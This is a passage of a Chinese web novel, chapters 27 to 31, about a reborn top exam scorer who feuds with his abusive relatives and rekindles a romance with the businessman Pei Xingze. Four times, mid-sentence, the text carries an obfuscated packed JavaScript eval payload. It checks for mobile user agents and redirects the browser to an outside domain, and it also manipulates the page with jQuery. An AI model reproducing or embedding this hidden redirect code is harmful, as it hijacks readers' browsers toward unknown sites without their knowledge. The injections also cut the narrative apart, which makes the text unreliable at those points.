裴行则挑了下眉,侧头看向翁绍。 此时月上中天,朦胧的月色将翁绍整个人浸在其中,散发出一种冷淡通透的光。又在翁绍的身后,拖出了一条长长的密不透光的影子。 裴行则的目光便顺着微微发光的翁绍,落到了他身后的影子上。 他看见两道身影在静谧的月色中并肩而立,其中一个是他自己的。于是裴行则鬼使神差地抬起手臂,他隔着清冷的月光,摸了摸翁绍的影子。 他的动作实在温柔隐蔽,以至于翁绍毫无察觉。 偷得浮生的重生者并没有赏风赏月的悠闲。在他心底要算计筹谋的人和事太多,桩桩件件都需要他仔细琢磨、反复推敲,事到临头甚至还要彻底推翻、重新演算。但是翁绍并不觉得焦躁急促。他有条不紊地解决着出现在他面前的每一个课题。该挖坑挖坑,该下饵下饵——如果连下棋的人都舍不得放饵,徘徊在局外的人又怎么可能踏入陷阱? 而翁绍运用的最娴熟的诱饵,恰好就是他自己。 “一件事情如果只有一种声音,就不会有太大的水花。只有讨论的内容足够惊世骇俗,足够调动他人情绪,流量才可以持续下去。” 经历过自媒体时代的翁绍深谙流量为王的道理。在他所处的年代,人们信奉黑红也是红。最怕的反而是无人问津。 所以翁绍故意分化翁英雄,激怒翁英杰,就是想让翁英杰充当另外一种声音。 “你要让他始终觉得有机会报复我,有机会让我身败名裂,”清冷的月光下,翁绍笑吟吟地看着裴行则,慢条斯理地说道:“他要是不出手,我怎么抓他的小辫子?” * 翌日早上,翁绍早早就起来了。 其实他晚上根本也没怎么睡,人躺在床上,闭着眼睛,脑袋里却跟过电影似的,一直在复盘自己来到京海后的每一个细节,然后再根据昨天的行程,推演翁英杰的反应。 要是换成精力不那么旺盛的普通人,只怕早就因为缺少睡眠反应迟钝。但是翁绍天赋异禀,一想到自己要算计人,而被算计的那个人还懵懵懂懂一无所知,翁绍就觉得神采奕奕。 以至于他来到京海市电视台录制节目的时候,都很刻意的让自己的情绪保持在一种亢奋的状态下。 “小伙子可真有精神。长得很精神,人也精神饱满。” 真就像是早上八.九点钟的太阳,照在身上金灿灿、暖融融的。 这样美好的第一印象在节目组的每一位工作人员都收到了翁绍赠送的《状元笔记》后,达到了顶峰。 ——不得不说,大部分国人对学生永远都是宽容的。而在国人眼中,最严重的滤镜莫过于学习成绩。 因此当翁绍穿着朴素的校服,顶着全省高考状元的光环坐在演播厅里,边上的小茶几上还摆放着一套《状元笔记》时,绝大多数观众对于翁绍的第一印象也就此拉到了顶格。 《对话人生》的主持人叫奕霖,是一位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432225|167352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非常优雅知性的女性。讲话时循循善诱,笑起来如沐春风,给人一种平铺直叙的真诚。但这并不意味着《对话人生》就是一档温吞和煦的访谈节目。事实上,这个节目恰恰是以尖锐犀利广受观众好评。 节目开场,奕霖先给大家播放了一段VCR。短短三分钟的视频,详细介绍了翁绍何许人也,包括他在媒体和网络上掀起的讨论狂潮。 话题也由此展开。 “作为一名省高考状元,你认为自己是天才吗?” “天才算不上,但我应该会是一名优秀的人才。” “之前媒体和网上都有相当一部分人,对你的家事非常关注,当然也有一些非议。他们认为你当初的某些举动,极大地挑战了公众良知,你自己怎么看待这件事?” 翁绍思考片刻:“我在翁家人的身上,学到了一件事。” 翁绍说到这里微微一顿,似乎在回忆什么,又似乎只是单纯的思考:“……你没钱的时候,千万不要把翻身改命的希望寄托在别人身上,哪怕对方是你的骨肉至亲。因为他们有钱不会给你花,但是他们会瞧不起你。还会因为你掌心朝上,百般地羞辱你,恨不得把你踩到泥里去。还要假惺惺地跟别人说都是你不好,是你乞讨的姿势不对,所以他们才不给钱。” “我那个时候才意识到,原来不是所有的父母都会毫无条件地疼爱自己的孩子。你把人家当父母,人家拿你当乞丐。还是跪在他们面前都会被他们嫌弃你弄脏了他家地板的那种乞丐。” “所以没钱没势没地位就没人格。别人怎么说你,你都要受着。” “但这并不意味你真的卑贱到泥里。只能说明你没有遇到对的人。” 翁绍说到这里,忽然笑了。犹如春水融冰,乍暖还寒:“但是我很幸运。” 奕霖被翁绍凛冽耀眼的笑容晃了一下,下意识接道:“你遇见了对的人?” 翁绍:“我遇见了心软的神。” 28.第 28 章 录制结束的时候,翁绍在电视台门口遇到了同样赶过来录制节目的翁英雄。 也不知道是出于什么考量,这次来京海市电视台录制《在线调解》,翁英杰一家人并没有出面,只派了一名司机送翁英雄和翁老爷子来电视台。 几个月没见,翁英雄看起来比之前消瘦多了。原本丰腴的脸颊肉眼可见地塌陷下去,使他的眼窝和颧骨看起来更加突出。刀片一样薄削的嘴唇在看到翁绍的第一时间抿成一条直线。 “你这个不孝的东西。看到你爸跟我,连句话都不会说吗?”翁老爷子眼神怨毒地怒瞪翁绍,张口就是一顶大帽子,狠狠扣在翁绍的头上。 翁英雄也跟着长叹一声,神情落寞地说道:“爸,你就别说了。人家现在有能耐了,是闻名全国的省状元,又是出书又是拍广告的,功成名就,名利双收,早就把我这个没用的爸爸忘到脑后了。” 正值午休时间,电视台门口人来人往,不仅有出出入入的工作人员,门外还聚集着一帮给明星做应援的粉丝。 众目睽睽之下,被翁英雄和翁老爷子连番挤兑的翁绍不仅没有动怒,反而心平气和地开解翁英雄:“您可千万不要妄自菲薄。” “谁说您没用的?您可太有用了。要是没有您,翁英杰拿谁当枪狙击我呢?” 翁英雄听到翁绍的话,“感动”的眼睛都红了:“你——” “您看起来,可比跟我和妈在一起的时候瘦太多了。”翁绍不等翁英雄把话说完,一脸唏嘘地道:“都有点瘦脱相了。” “怎么,翁英杰一家人没把你照顾好?”翁绍说到这里,将翁英雄上上下下打量一遍。 大概是想在录制节目时更自然地卖卖惨,翁英雄的身上仍旧穿着很多年前,余蕙心和翁绍赶集时给他买的衬衫和休闲裤。衣服已经洗得发白了,套在瘦的皮包骨的翁英雄身上,乍看上去,竟像是刚刚裱糊好的纸扎人。 因为双腿不良于行,这个“纸扎人”被放置在一张轮椅里,歪歪斜斜地坐着。 盛夏的日光照耀在他的身上,却无法驱散翁英雄心中的怨怼和阴郁。一股行将就木的腐败气息,从他的身上散发出来。 就像是一具从棺材里挖出来的尸体,活是活不起了,烂又没烂透。 翁绍啧啧摇头,满脸遗憾地说道:“我还以为翁英杰那么有钱,至少能把你送到医院去,给你做个全面复查。” 翁绍说到这里,目光炯炯地盯着翁英雄的眼睛,看似平淡的语气中充满了诱导和暗示:“其实这么多年,我一直都很挂念一件事情,你的病究竟能不能治?” “当年的医疗水平有限,我们家也是没钱,没办法给你治病。现在有条件了,难道翁英杰也没送你这个救命恩人去医院复查一下?” “你就不好奇,自己这辈子还能不能重新站起来?” 翁英雄的目光随着翁绍一句句别有用心的诱导,开始变得飘忽不定。 门口来来往往的人也不由自主地向翁家人靠拢。 看到周围人毫不遮掩的好奇视线,翁老爷子心里咯噔一下。生怕翁绍三言两语,又把祸水引到小儿子翁英杰的身上,连忙开口怒怼道:“你还有脸说!你成了高考状元以后,接广告赚了那么多钱,不想着给你爸治病,反而带着你妈去城里过好日子,把瘫痪的养父甩给我一个老年人照顾。你还有没有心?” “你认为一个刚满十八岁的高中毕业生,当销售赚学费是过好日子?还是一个半辈子没有出过村里的劳动妇女,去售楼处当保洁是过好日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444428|167352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子?”翁绍不等翁老爷子开口,又笑眯眯道:“如果您真这么想,那你在家里当护工,照顾自己的亲儿子应该也是过好日子呀。您的怨气怎么还这么大?” 翁老爷子知道自己说不过牙尖嘴利的翁绍,怒哼一声:“你不用跟我狡辩。就算你说得天花乱坠,儿女赡养父母也是天经地义的事。你想抛弃瘫痪残疾的养父,一个人过好日子,那是要遭天打雷劈的。” 翁绍笑道:“那下雨天打雷的时候,您千万记得离我远一点。免得雷劈我的时候,顺便再把您给劈了。” “噗嗤!”也不知道是谁笑出声来。 围观群众们全都忍俊憋笑地看向这边,还有人冲着翁老爷子指指点点。 能够在这个年代出入电视台的,必然都是消息灵通之辈。更何况翁绍跟翁家人的那点破事早就被媒体和网络营销号吵得沸沸扬扬,不知内情的反而成了少数。 翁老爷子当即红温上头,破口大骂:“你这个没人伦的小畜生——” “您来录制节目之前,翁英杰就没叮嘱您,具体应该怎么做吗?”翁绍打断翁老爷子的咒骂,好心提点道:“您现在骂人不要紧,会不会破坏了您宝贝儿子的大局?” 翁老爷子的咒骂被翁绍一句话怼回嗓子眼,一张老脸憋得青一阵紫一阵的。 翁绍笑道:“行了,您老人家也别再这儿跟我磨牙了。不是还要录制《在线调解》嘛!有多少骂我的话,你们都留着在节目上说吧。别现在骂得痛快,回头再跟写好的台本对不上,浪费了翁英杰的一片苦心。” 翁绍还体贴备至地催促道:“快进去吧。别耽搁久了,让人家一整个节目组的人等你们。” 说完,翁绍朝着脸色铁青的父子俩挥了挥手,大步流星地走了。 29.第 29 章 翁绍在拍摄结束的第二天上午,坐飞机回到了清源市。 其实他当天下午就想回来,却被裴行则留了下来。 裴行则的理由也很充分:“你第一次来京海,我作为东道主,总要陪着你在京海市逛一逛,熟悉一下周边的环境。” 然而裴行则并不知道的是,翁绍上辈子已经在京海市生活了二十年。 别说是二十年前的环境,往后二十年京海市的城建规划,翁绍都谙熟于胸。但他还是留下来了。 任由裴行则载着他在风景陈旧的城市中乱窜。过往的一切都像是大扫除时,被扫帚掸起来的微尘,在终日死寂的脑海中飞扬起来。 就像干涸的平原突然吹起了一阵风,停止的岁月开始慢慢流转,陈年旧事如同被光阴侵蚀的老照片,一点点泛黄蜷曲。横亘二十年的长轴画面在眼前频繁交错。 在久远的未来和无人知晓的过去,他们也曾像现在这样,开着车穿梭在这座城市的大街小巷,尝过每一家好吃或难吃的馆子,看过几场或精彩或无聊的电影,游览过城市周边的山清水秀…… 往事历历在目。 于是这天晚上,翁绍又做了一个梦。 梦中裴行则一脸愤怒地质问他:“翁绍,你是不是从来就没爱过我?” 斑驳的光影在梦中剧烈摇晃,翁绍依稀记得,这好像是他和裴行则联手搞垮翁氏集团以后,因为“分赃不均”爆发的那次争吵。 说是分赃不均,其实只是翁绍接手了翁氏集团以后,打算改弦易辙,将翁氏集团的主业从原本的房地产开发,转向互联网金融。他的主张遭到了集团股东和董事会成员的强烈反对。就连裴行则都略有微词。 裴行则认为翁绍完全没有必要如此激进——集团的主营方向可以改,但没必要在一夜之间改弦易辙。翁绍表现得就仿佛是一个新贵入主的中宫,容不下前任的半点遗留。叫人看了未免觉得意气用事。 裴行则没有说出口的是,翁绍入主翁氏集团以后,如此迫不及待地改弦易辙,是不是也想尽早甩开他的掣肘? 毕竟众所周知,翁绍之所以能够顺利收购翁氏集团,甚至将翁英杰父子踢出董事会,完全仰仗裴行则和裴氏集团的支持。可是以翁绍的狼子野心,又怎会甘心一辈子屈于人下? 所以过河拆桥,卸磨杀驴,甚至因为利益反目,也是意料之中的事。 一对狼狈为奸的坏人,因为利益结盟,又因为利益反目,自相残杀,听起来多么寻常。 没人看好他们能一直走下去,包括翁绍自己。因为他比任何人都清楚,他们不是一路人。只是在半路上偶然遇到了共同的目标,一起走过一段路。等到这段路走完了,终究还是要桥归桥、路归路,尘归尘、土归土。 这一点从翁绍第一次跟裴行则上床时,就已经明确了。他清楚知道自己为什么会跟裴行则上床——显然不是为了爱情。他把这一切归咎于一场利益交换。他出卖身体,获得裴行则的支持。他以为裴行则应该也是这么想的。 所以当裴行则冲进他的办公室,愤怒地质问他到底有没有爱过他时,翁绍的第一个反应竟然是觉得荒谬。 他不知道裴行则为什么会有这样的错觉,竟然会觉得他们是在恋爱。 事实上,如果让翁绍给他们的关系下一个定义,翁绍觉得可以是情人、床伴,又或者是合作伙伴,唯独不能是爱人。 他们怎么会是爱人呢? 连亲生的父母兄弟都不曾爱过他,一个翁家的仇人,千方百计勾引他上床,利用他报复翁家的仇人,又怎么会爱上他? 唯一的可能性就只有裴行则想以爱情的名义掌控他。就像当年,翁家人以家人的名义掌控他、压榨他,又在他失去利用价值后,将他踢出翁家。 那时的翁绍还能拼着一口气,跳上裴行则的贼船。可是再来一次的话,翁绍已经没有力气再去报复裴行则了。 所以他选择不信! 他不信裴行则会爱他。他宁愿公事公办,用利益划清界限。他那么爱钱的一个人,都愿意把翁氏集团的大半利益拱手相让,结果裴行则还是跟他吵。 争吵的次数多了,相互之间的隔阂和猜忌自然也越来越深。 ——或许从来就没浅过,只是在共同目标达成之前,大家利益一致,姑且还能求同存异。但是隐藏在深水下的矛盾,终究会有浮出水面的一天。 当共同的敌人倒下了,彼此之间的内斗也要开始了。 而翁绍这个人,又向来懒得在情绪上折磨自己。不管裴行则是不是真的想跟他斗,翁绍都不想遂了他的心意。 既然始终不是一路人,那就分道扬镳吧。 于是翁绍力排众议,把翁氏集团旗下尚未开发的优良地皮和相关渠道转手卖给了裴氏地产。集团的精力逐渐投入到新兴科技和概念金融领域。 这一系列转变自然跟翁绍的专业有关。可是他的一系列行为看在裴行则眼中,却是翁绍有意在跟他撇清关系。于是在那一天傍晚,裴行则怒气冲冲地闯进翁绍的办公室,质问他:“你到底把我当成什么?” 这是两人自相识后爆发的第一次激烈争吵,也是两人第一次毫不遮掩地暴露出对彼此的信任危机。 翁绍依稀记得他们吵得很凶。大概是对彼此太过了解的缘故,他们都很清楚说什么话最伤人。于是吵到后来,甚至都不是争吵,而是单纯的发泄。所有的不满、所有的抱怨都从彼此的口中化为利刃,直接往对方的心窝子捅。捅得鲜血淋漓的,然后在疼死之前激烈的拥抱、亲吻,歇斯底里的做.爱,抵死缠绵。 两个最爱的人,防备彼此也最深。 不过仔细想想也正常。他们的结识本就始于一场盛大的阴谋:一个教唆诱拐,一个心照不宜,两人一拍即合,就开始狼狈为奸。 而一对因为利益和仇恨结合到一起的坏人,就算做着做着真做出了爱情,利益掺杂着真心,又能纯粹多少呢? 连翁绍自己都分不清,他究竟是爱裴行则多一点,还是利用他多一点。 他或许爱裴行则,但更爱他的金钱、权势。因为爱会伪装,但是钱不会。 而彼时最擅长伪装的翁绍早已对爱不屑一顾,他甚至在跟裴行则激烈做.爱时揪着他的头发反问:“你怎么证明你爱我,难不成还能为我去死?” 翁绍当时没有想到,一句戏言,一语成谶。 * 醒来之后,翁绍面无表情地看着凌乱的床榻,一边蹑手蹑脚的将床单被罩拆下来扔进洗衣机里清洗,一边轻车熟路地摸进厨房做早餐。 裴行则醒来的时候,早餐已经做好了。 焕然一新的床单被罩晾晒在很有品味的花园阳台上,给这座富丽堂皇的高端别墅带来几分日常的生活气息。 穿着真丝睡袍的别墅主人靠在厨房门框上,满脸惊讶地揶揄道:“没想到你竟然这么贤惠。” 说罢惆怅叹息:“你这么贤惠,我都舍不得你走了。” 他朝翁绍张开臂膀,露出胸前大片胸肌和壁垒分明的块块腹肌,惺惺作态道:“翁绍,你来京海以后,能不能住在我家?我发现我越来越离不开你了。” 翁绍面无表情拒绝道:“京海大学要求学生大一期间必须住校。” 裴行则笑道:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449321|167352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少糊弄我了。京海大学对学生的管理可没有那么严格。学生可以根据自身实际状况,向学校申请走读。” 翁绍将刚刚做好的煎蛋火腿三明治递给裴行则:“但是能让学校通融的‘实际状况’,不包括跟男人同居。” 裴行则:“……” 裴行则将煎蛋火腿三明治放到餐桌上,悻悻说道:“你说话总是这么犀利吗?” 翁绍又将煮好的咖啡倒进被子里,闻言一挑眉:“怎么,你不高兴?” “怎么会呢!”裴行则识时务者为俊杰,立刻陪笑道:“那周末呢?你们学校总不会监管你们周末去哪儿玩吧?” 翁绍沉默不语。 裴行则知道有戏,可怜巴巴地卖惨道:“你说我一个人住这么大的房子,多孤单、多寂寞、多冷清。难得碰到你这么一个说得来的朋友,你就不能多来陪陪我?” “还是你担心,我会对你不轨?”裴行则说着说着,竟然开始了激将法:“大家都是男人,你担心什么?” 翁绍瞥了一眼裴行则“大敞四开”的胸肌和腹肌,心说我倒不怕你对我心怀不轨,我是怕我自己按耐不住! “再说吧。” 最终,翁绍还是没有拒绝裴行则的同居邀请,但也没有立刻答应。 裴行则看着摆明车马使出拖字诀的翁绍,心有不甘,又怕自己再劝下去,会起到反作用。只能悻悻地放下这个话题,整个人没精打采的耷拉着脑袋,就像一只啃不到肉骨头的大型犬。 翁绍坐在裴行则对面,慢条斯理吃完早饭,还要冷酷无情的再扎裴行则一刀:“一会儿你要送我去机场吗?” 翁绍明知道裴行则愿意,却还是说道:“你要是工作忙,抽不出时间,我也可以坐大巴车过去。” 没错,高考赚了几百万的翁绍同学甚至连打车的钱都不愿意出,就愿意坐公交倒大巴,不过是多倒几趟车的事。 别问,问就是勤俭持家,舍不得浪费钱坐计程车。 然而裴行则却舍不得让翁绍一个人拖着行李箱,辗转数条公交线,耗费几个小时赶飞机,他连想都不愿意想,脱口而出:“我当然要送你去机场。” 停顿片刻,裴行则又补充道:“你一个人刚来京海市,人生地不熟的,尽量别坐公交车。万一坐错线了怎么办?” “今后有事就给孟助理打电话,让他给你安排车。” 这么一来,不论翁绍去哪儿,裴行则都能在第一时间掌握他的行踪。 翁绍下意识想到。却又在视线接触到裴行则眼神的瞬间,默默将这个念头怼回脑海深处。 “那就拜托你了。”翁绍将用过的碗筷默默塞进洗碗机里。裴行则亦步亦趋地跟在他的身后,还在为分别的事情耿耿于怀。 “我在这边还有一点事情要处理。等到下个月初,我会抽时间去清源市一趟。”裴行则说到这里忽然笑了:“等到了那个时候,就该由你当东道主,好好招待我一番。” 翁绍:“你来,我一定让你宾至如归。” 裴行则得寸进尺:“那我要住到你家。” 翁绍想了想临湖雅苑那套还没装修的房子,皱眉说道:“或许我可以陪你住酒店。” 裴行则也知道翁绍的为难,笑吟吟道:“盛情难却,我可当真了。” 两个小时后,裴行则和翁绍面对面站在接机大厅。 机场广播在噪杂的大厅里响起,他们像所有离别的旅客一样,面对面拥抱,道别。裴行则的唇贴着翁绍的耳朵,低声说再见。 翁绍只是用力搂住裴行则,沉默片刻,转身走了。 依旧没有说再见。 30.第 30 章 伴随着巨大的轰鸣声,翁绍乘坐的航班在傍晚时分抵达清源机场。 舱门打开,枯坐数小时的翁绍被人群裹挟着走下飞机。 此时天色渐晚,停机坪四周已经星星点点地亮起了一串串的照明夜灯。终于抵达目的地的旅客们迫不及待地进入通道,人群中唯有翁绍停下了脚步。 他在昏沉的暮色中抬头看了一眼天空,殷红的夕阳就像一颗糖心的煎蛋黄,被天边锋利的山峦一戳,便缓缓流出金黄色的蛋液。 整个世界就像是一个巨大的蛋包饭,香香软软的。 翁绍取出手机,将这一幕拍下来发给裴行则:【你看这个夕阳像不像煎蛋黄?】 下一秒,裴行则的信息秒回:【你到清源了?我这就让厨师去你宿舍做蛋包饭,你回家就能吃上了。】 翁绍看着裴行则发来的短信,嘴角不自觉地勾起:【你怎么知道我想吃蛋包饭?】他在短信里发的可是煎蛋黄。 裴行则:【直觉。】 翁绍笑了笑:【你的直觉很准,但是不用了。】 翁绍不想为了一个蛋包饭兴师动众,他们宿舍楼下的蛋包饭就挺好吃的。 下一秒裴行则的电话就打过来了:“为什么不用?你早上为我准备了早餐,现在就应该由我来为你准备晚餐。礼尚往来,公平合理。难道你嫌弃这顿晚餐并不是我亲手做的?” “那你可以再给我一次机会。等到我去清源时,亲手为你做早餐。” 翁绍倏地想起上辈子。他们两个刚在一起的时候,裴行则确实心血来潮,为他做过几次爱心早餐——包括煎糊了的培根和没煎熟的牛排——里面还带着血丝的,美其名曰三分熟。 只可惜翁绍的肠胃消化不了如此硬核的西餐。勉强尝试的结果,就是两人一起进了医院。不知真相的外人还以为他们两个终于反目成仇,甚至偷偷在饭菜中下毒,打算同归于尽。 一时间各种小道消息沸沸扬扬,甚至还影响到了裴氏集团的股价! 于是从那以后,两人基本上都是在外面吃,或者叫厨师来家里做。 “还是算了吧。”翁绍的声音中浸润着连他自己都没有意识到的温存笑意:“我担心我的身体素质不过硬,无法享受裴总的劳动成果。” “你好像在小瞧我。”机场的信号并不算好。在民航飞机不断起飞降落的巨大轰鸣声中,裴行则的声音在听筒中忽大忽小,隐约间有一种失真的恍惚:“……等着瞧吧,我一定会做出一顿让你刮目相看的早餐。” 翁绍只笑不语,他将手机贴在耳边,漫不经心地穿过候机大厅内熙熙攘攘的人群。久别重逢的人们迫不及待地享受团圆的气氛。在无数拥抱和叙旧的背景画面中,翁绍提着行李箱,孑然一身走出机场,在街边拦下一辆出租车。 等到翁绍回到临湖雅苑附近的员工宿舍,已经是一个小时以后的事情了。 裴氏地产给员工建造的宿舍楼都是标准的三室一厅。按照员工级别不同,分到的宿舍规格也不一样。一般基层员工提交申请后,可以分到一个单间。翁绍身为兼职员工,本来没有资格申请宿舍,但他有裴行则的推荐,自然又不一样。 不仅分到了一个单间,还是没有其他室友入住的房间。相当于他一个人独占了三室一厅。 负责分配宿舍的HR在给翁绍钥匙的时候还笑着说他幸运:“你来得晚,其他员工都住的差不多了。只能给你安排一间空房。” 对方言之凿凿,翁绍只能相信。他也不想跟陌生人同住在一个屋檐下。 * 翁绍回到宿舍的时候,意外发现屋里有人。 客厅和厨房的灯都亮着,门口摆着一双女士穿的黑色拉带布鞋,从厨房飘来一股呛人的香味,翁绍一闻就知道是他最爱吃的毛血旺。 正在厨房里炒菜的余蕙心听到门口有响动,伸头往外看了一眼,就瞧见翁绍风尘仆仆地提着一个大行李箱,呆呆地站在玄关,不禁笑道:“你回来啦。” “我做饭呢,你先去洗个手,一会儿就能吃了。” 翁绍一边换鞋,一边问道:“你怎么知道我回来了?” 余蕙心道:“是裴总告诉我的。他给我打电话,说你到家了,想吃我做的蛋包饭。我就在下班以后直接去超市买了菜。” 余蕙心如今在临湖雅苑售楼处当保洁。每天早上七点上班,晚上六点钟下班,每周还有一天的休息时间。日子过得既轻松又愉快,还能享受到自己赚钱自己花的成就感。 余蕙心活了大半辈子,从未觉得自己活得这么像是一个人。因此她十分感激给她带来新生活的裴总。不说言听计从,但也一定要做到令行禁止。 “裴总真是一个好人。他那么一个大忙人,竟然还想着给我打电话,提醒我下班回来给你做饭。”余蕙心说到这里,一脸唏嘘地叮嘱翁绍:“你可不能辜负裴总对你的栽培。” 翁绍闻言一怔。他着实没有想到裴行则竟然会给余蕙心打电话,还谎报军情。 说话间,余蕙心已经手脚麻利的将热气腾腾的毛血旺端上来了。瞧见翁绍仍旧呆愣愣地站在那儿,开口催促道:“你还愣着干什么,快去洗手吃饭了。” 翁绍回过神来,把自己在楼下买的蛋包饭和炸串放到餐桌上:“都这么晚了,我没想麻烦您。我在楼下也买了蛋包饭和炸串。” “就是做顿饭,有啥麻烦的,以前在家里还不是天天做。你跟我客气啥。”余蕙心接过翁绍买的蛋包饭和炸串:“既然买了,我就不用做了。剩下的饭留着明天给你做蛋炒饭。” “对了,你想喝饮料吗?冰箱里有可乐和果汁,我去买菜的时候,正好碰上超市打折促销。一瓶可乐才一块钱。” 余蕙心一边絮叨,一边拎着蛋包饭和炸串进了厨房。她打开橱柜,从里面找出两个干净的空盘子,把蛋包饭和炸串倒进盘子里:“我也尝尝外面做的蛋包饭跟我做的有什么不一样。” 本以为饭店做的蛋包饭一定特别好吃,结果余蕙心尝了一口就开始皱眉:“我咋觉得没有我做的好吃呢?” “确实没有你做的好吃。”翁绍回应了一句,拿着换洗衣服去卫生间洗了个战斗澡。出来的时候,余蕙心已经坐在饭桌前盛好饭,就等着开吃了。 翁家没有食不言、寝不语的规矩。余蕙心也攒了一肚子的话,想跟翁绍说。她拿起筷子,心不在焉地扒拉两口饭,就开始问长问短:“你去京海录制节目的时候,是不是看到你爸和你二叔他们了?他们有没有刁难你?” “你们录制节目的时候都说了什么呀?” “你那个节目什么时候播出?” 翁绍有问必答:“看到了。” “刁难了。” “说了很多。” “应该很快。” 余蕙心听完忽然沉默下来。良久之后,余蕙心深吸了一口气:“要不我还是回村里吧。” “我回去照顾你爸,他们就不能再说什么了。” “你还年轻。就算法律规定子女必须赡养父母,也没有让一个还在念书的孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454420|167352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赡养父母的道理。他们翁家不就是想让人照顾英雄嘛!只要我回去——” “我不怕他们说,你也不用回去。”翁绍打断余蕙心:“我说过,我要带你去京海,让你过好日子,我不会食言的。” “我不是担心这个——” “如果让你跟翁家人一起住大别墅,你觉得怎么样?” “啊?”余蕙心甚至怀疑自己幻听了。她一脸呆滞地看着翁绍,根本没听懂他在说什么。 翁绍道:“你不要跟着敌人的思路走。他们越想你做什么,你就越不能做什么。” 余蕙心的脑袋里简直是一团乱麻:“可是——” “没有可是。”翁绍耐心安抚道:“翁英杰一家人巴不得把我们打回原形,巴不得我们吃一辈子苦,你要遂了他们的心愿吗?” 余蕙心当然不愿意。 凭什么翁英杰一家人可以在大城市里住别墅开豪车,过上等人的生活。她连在清源市当个保洁都要被人说三道四,指指点点? 他们不就是觉得她和翁绍好欺负嘛! “所以,你要听我的。”翁绍循循善诱道:“只有我,才可以让你们过上好日子。” 余蕙心神烦意乱,甚至没有注意到翁绍说的是“你们”。她忧心忡忡地说道:“可是他们想尽办法败坏你的名声,我担心……” 翁绍笑了:“有句古话叫做仓廪实而知礼节,衣食足而知荣辱,您知道这句话是什么意思吗?” 余蕙心一脸茫然,她连初中都没念完,当然不知道这句话是什么意思。 “就是说,人只有在吃饱了撑着的时候,才会在意名声和礼仪。我还没吃饱,我不在乎。” 余蕙心瞠目结舌。她虽然没啥文化,可她总觉得这句话好像不能这么解释。 翁绍给余蕙心夹了一片肥牛:“我们都还没吃饱呢,干嘛要怕一群吃饱了撑的蠢货,你说对不对?” 余蕙心一脸茫然地夹起肥牛嚼了嚼。她想说什么,她看着翁绍欲言又止,犹豫了半天,最终还是什么也没说。 * 吃过晚饭,余蕙心把想要洗碗的翁绍撵回卧室,自己洗了碗筷,还给翁绍切好了水果才离开。离开之前还不忘叮嘱翁绍:“折腾一天了,你也早点休息。” 至于她自己,则拎着另外一半水果回到楼下的女生宿舍。跟她住在同一屋的另外两个小姑娘都是临湖雅苑的销售顾问,年纪轻轻漂亮嘴甜。她们在网上看到了翁绍和余蕙心的事,非常同情这对母子,经常会把自己买的水果和零食分给余蕙心。 翁绍嘴上答应得好好的,却没打算真的照做。他回到卧室打开笔记本电脑——这台电脑也是品牌方赞助的,虽然他用的这一款配置并不高,但用来办公足够了。 翁绍登录企鹅账号,还没来得及检查群消息和邮件,裴行则的电话又打进来了:“吃完晚饭没,阿姨做的蛋包饭好吃吗?” “我妈做的毛血旺很好吃,不辣又很香,至于蛋包饭则是我在楼下买的,”翁绍一边看消息,一边“质问”裴行则:“你为什么要谎报军情?” 裴行则轻轻笑了:“哪有这么严重。” “我只是觉得,一个人回家的时候,如果看到家里有一盏灯为他亮,应该就不会觉得孤单。”电话另一端,裴行则的声音带着莫名的磁性,沉稳地钻进翁绍的耳朵:“我希望那个人是我。但如果不是,至少应该有这么一个人。” “翁绍,你太寂寞了。那样不好。” 翁绍沉默半晌,没有说话。 31.第 31 章 翌日早上,翁绍是被群里叮叮当当的消息提示音吵醒的。 打开电脑一看,自己新建的几个企鹅群里已经开锅了,未读消息上千条。最后一条是张畅发的:【翁绍,你醒了吗?我们什么时候去看房呀?】 翁绍看了一眼显示屏下方的时间——早上6点23分。 果然是高中刚毕业的“苦行生”,即便放暑假也睡不了早觉,因为生物钟没调整过来。 翁绍回复道:【醒了。早上八点钟,三辆大巴车从售楼处出发,途径三条路线,接你们去看房。你们计算一下时间,在家门口等着就行。】 